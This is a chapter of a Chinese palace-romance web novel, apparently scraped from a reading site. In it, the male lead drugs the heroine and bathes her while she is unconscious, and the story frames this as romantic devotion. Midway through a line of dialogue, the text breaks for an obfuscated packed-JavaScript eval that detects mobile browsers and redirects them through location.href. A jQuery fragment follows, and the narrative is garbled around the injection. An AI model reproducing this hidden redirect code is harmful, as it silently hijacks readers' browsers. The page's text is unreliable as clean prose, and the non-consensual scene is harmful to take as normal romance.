默认冷灰
24号文字
方正启体

51. 第 51 章

作者:邬安常本书字数:K更新时间:
    谢书庭不对劲,他很不对劲。


    到此时,陈遥才发觉,谢书庭的情绪可能出了些问题,因为她。但她属实是丈二和尚摸不着头脑,不知道他哪根筋打错了,发癫成这个样子,竟让她觉得方才谢书庭的语气中带了些许卑微的恳求。


    她只是觉得,如今从宫里传出来的流言对两人不利,该改一改称呼罢了。若是在在外人面前唤她阿姐,旁人难免误会。


    长公主如今摄政,若是惹恼了她,他二皇子的身份不保不说,朝臣中心怀不轨之人亦会落井下石,趁机踩他一脚。


    如今可倒好,不知那句话惹急了这个狗杀才,本就是个疯子,此时愈发疯癫。


    陈遥频繁的眨着眼睛,一脸的茫然,不理解。她深呼一口气,欲言又止的看着他。


    原主欺负他,凌辱他,折磨他,囚禁他,他倒还怀念上了,反过来质问她怎么不似从前一般对他无所不用其极。


    他可知自己以前过的到底是怎么个日子?


    饭食不饱,任人欺凌。


    且不说这个,原主一院子的马奴,他又不是第一天才知道......


    等等......


    陈遥敛目垂首,脑筋转得飞快。


    她有个习惯,想东西时,手里会无意识地做些自己都不知道的小动作,或是错手指,或是扣指甲。


    眼下背靠廊柱,陈遥伸出一根手指,上下刮动着廊柱上的缝隙,被自己突然冒出来的想法惊了一瞬。


    这人,不会是,吃...醋了吧。


    “你为何看不惯沈宗宁,他并非我院子的马奴那么简单,他才智过人,骑术极佳,以后自会有大造化......”


    陈遥无法向他透露沈宗宁是原书男主的剧情,更不能揭露这里的一切都只是一本书里的虚无片段。


    许是系统检测到陈遥言辞偏向,一个鲜红的感叹号出现在眼前的面板上,提示着她。


    “呵!才智过人?骑术极佳?这便是阿姐心目中的好郎君么?”


    谢书庭嗤笑一声,眼神阴翳暗涩,嘴角勾起一抹似笑非笑的弧度,不禁让陈遥背后一凉。


    “春猎将至,长公主命我在当日露脸,我找沈宗宁,不过是为了...”


    她话还未说完,谢书庭抬手抵在她唇珠上,闭目微微摇了摇头,再次睁眼时,却像是变了个人似的。


    看着他笑容渐深,双目却开始变得赤红,阴鸷的目色渗着寒意,原本的清洌气质倏然变得阴狠乖戾起来,陈遥不由自主地想要后退一步,却发觉自己已经紧贴在廊柱之上,退无可退。


    “阿姐,该算账了。”


    陈遥瞳孔紧缩,看着他逐渐疯魔,她的心中升起一阵极为不祥的预感。


    紧接着,他跨步而来,沉沉压向她,微凉的唇贴在她额心,摩挲片刻,平静的温柔下却隐隐藏着即将翻腾地暴风雨。


    一阵银铃声响起,他轻挥衣袖,自其中传来一阵隐秘的香气,闻之有些发腻的甜,但有带着些微苦。


    意识消散之前,陈遥隐约听见他在自己耳边低语,好似远在天边,又仿若近在眼前。


    “被我这样的人缠上,也是很不幸的吧......”


    “可怎么办,我已离不开阿姐了......”


    那道声音由清晰逐渐变得模糊,直至最后,她全无意识的瘫倒在他怀中,被他一把搂抱住,绵软的身躯仅靠着他放置在她腰间的手为支点,想要滑落下去,他却不允许。


    谢书庭眼睫低垂,有些怅然垂首,迷醉的紧盯着怀中之人,叹息间,俯身亲吻她,眼中的偏执透过炽热的视线传达给双目紧闭的陈遥,她眉心微微皱折,对此全然不知。


    /


    上京城中,长生殿内。


    殿中燃香,袅袅向上,一双手端着一盏茶杯,里面装着的却是寒凉的冷酒。


    “殿下这奏章配冷酒的习惯,也该改改才是,没得把身子都给吃坏了。”


    海迎春放下御笔,抬手接过茶杯,仰头转了转僵硬发酸的脖颈。


    “你可莫要胡沁,我这分明是茶。”


    翟凌自小便陪在长公主身边,对她的一应习性自然是熟悉的,海迎春幼时难以入眠,身边的嬷嬷便想了个不中用的法子,热了酒给她喝,不成想却十分起效。


    自那以后,饮酒便是这位长公主少有的爱好了。因着自幼饮酒,她酒量极佳,三五杯下肚,越喝越清醒。如今埋首于案牍间,她时常吃些冷酒,以清心神。


    “我那二弟出宫去了?”


    见她喝完一杯,翟凌伸手将杯子收回,点了点头称是。


    “二皇子自长生殿出去,便直奔宫外,眼下恐怕人已身处谢府了。”


    海迎春轻笑一声:“怕我吃了她似的,急轰轰跑到我这儿来要人,阴着一张脸质问我,宫中流言纷扰,他充耳不闻。人前脚刚出长生殿,他后脚便追来了,有意思的。”


    “二皇子心思沉稳,又有谋算,殿下何须在意这细枝末节。”


    翟凌立于一旁,熟练地拿起一块上好的墨,点了水研磨起来。


    海迎春抬头斜睨了她一眼:“心思沉稳?若非我动起手来惹眼,决计不会容他如此急于求成。那些积年的老狐狸,平日里皮里阳秋的,嘴都长在肚子里。他那些横冲直撞的法子,也就眼前得用,若是被人知晓他有这么一个弱点放在明处,只怕没他什么好果子吃。”


    翟凌手中的动作一顿,敛目长叹:“我只是不希望殿下失去了这唯一的亲人。”


    得闻此言,海迎春咧嘴一笑,随手捻起一旁盘子里的果子送入口中:“亲人?我瞧他可不这么想,张口闭口阿姐叫着的人,可不是我。”


    翟凌见那盘中的陈皮果脯空了大半,心知她只是嘴上不饶人罢了。幼时因局势独居长生殿时,心系阿奈,海迎春没少往冷宫跑,她心里虽气她走时只带走了弟弟,独抛下她一人于深宫中踽踽独行。


    但看着他们受人欺凌,也曾暗中耍手段收拾那些捧高踩低的势力之人。


    那陈皮姜脯是殿下阿奈初入大京时,最爱吃的,每当她心中挂念,又无法前往冷宫时,便会想方设法派人送去。后来至亲离世,手足被拆散,这一习惯更是延续至今。


    翟凌弯了弯嘴角,将那姜脯推至她眼前:“殿下若是那在意酸儒繁文缛节之礼的人,便不会替二皇子收拾太后的烂摊子了。”


    不知是懒得反驳,还是觉得她所言非虚,海迎春只是轻笑一声,含了颗果子,催她倒杯酒来。


    “横竖是他动手,我也懒得管了,这些日子他满


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395487|177748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫乱逛,打听的东西大抵也都齐全了,该送的东西,我也都送了,剩下的,就等我收拾烂摊子了。”


    “届时大宴上,端看少了哪些人便是。春闱之事,老师可曾递过折子?”


    翟凌:“科考评绩,乃国子监之职,殿下的意思,想必苏太傅已然知晓,纵使因着二皇子,他也会上心的。”


    海迎春端起御笔,在手下的折子上拐折几下,嘲笑道:“我的这位老师,最是重礼,若非皇兄蠢笨,他是断然不会扶持我一介女子摄政的,你且瞧着吧,有咱费心的时候。”


    /


    更深露重,春夜已沉。窗外的风刮得檐下铁马叮咚作响,偶有树枝擦碰的清脆声,更显得天地间一片寂寥。


    屋内,确实另一番天地。


    陈遥怕冷,又逢倒春寒,屋里地龙烧得极暖,融融的热意自脚底漫上来,驱散了寒气。墙角的炭炉里,填足了火炭,不见半点烟尘,只幽幽地吐着暖香,将整间屋子盛满温暖。


    塌边的盆栽后,床帐密密地垂着,陈遥安静的沉睡着在着一方天地间,面色被一室的温暖蒸腾成浅淡的粉,她于睡梦中,像是染了微醺的醉意一般,如同躺在一团温热的云中。


    在这片寂静里,连时间都仿佛慢了下来,炭火的暖意丝丝渗进肌骨,叫人四肢百骸都舒展开来,生不出半点动弹的心思,只想被这暖意守护,一晌贪欢。


    窗影上,人影微动,一路顺着而来,随即有人推门而入。


    谢书庭一身衣袍被血染尽,颈侧几处血迹斑斑,一身的戾气在进屋看向床榻方向之时,逐渐收敛。


    他就着冷水洗去一身血污后,又沐浴熏香,将自己拾掇干净,这才去烧水,提桶一遍遍不厌其烦地将浴桶填满。


    一番折腾下来,身上的冷意早已被屋内的炭火熏热。


    他掀开床帐,一脸的漠然阴翳在看向陈遥时微微软化,变得温顺和气。


    “阿姐,该沐浴了。”


    随后,谢书庭为陈遥免了衣衫,温热的手指为其散开头发。被衣衫包裹住的馨香由轻至浓,飘过他鼻尖,谢书庭埋首在她颈侧嗅闻,折服在她细腻的肌肤间流连忘返。


    过了良久,他才抱着人去沐浴。


    为她劈柴烧水的日子里,他摸清了她的一切喜好,知道她喜欢以药香入浴,便耐着性子准备。


    滑腻的手感掠过指尖,谢书庭眼中漆眸渐深,低头在陈遥发顶落下一吻。


    “阿姐喜欢那马奴,我便特意将他的命留了下来,没有杀他,还让他住在了我院子里头,离阿姐近些,日后阿姐想要他了,我便替阿姐去请。”


    “不过其他人可就不能由着阿姐做主了,先前来你房里伺候的那个,不大老实,我杀了几次都没杀透,不过看在阿姐的面子上,他拿刻刀划伤我一事,我便不同他计较了。”


    满室沉静,除了谢书庭时而低语一句,便只有火炉中,木炭燃烧的噼啪响声。


    陈遥靠坐在浴桶中,蒸汽围绕,双目紧闭,纤长的睫毛被水汽打湿,结成几簇,有水珠顺着眼睫落下,像是一滴泪缓缓垂下。


    为陈遥沐浴的时间比之谢书庭自己,多了足足两倍。


    直到二人身上染上同一种熏香,他才将人捞上来,为其一寸一寸擦洗干净抱上床榻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)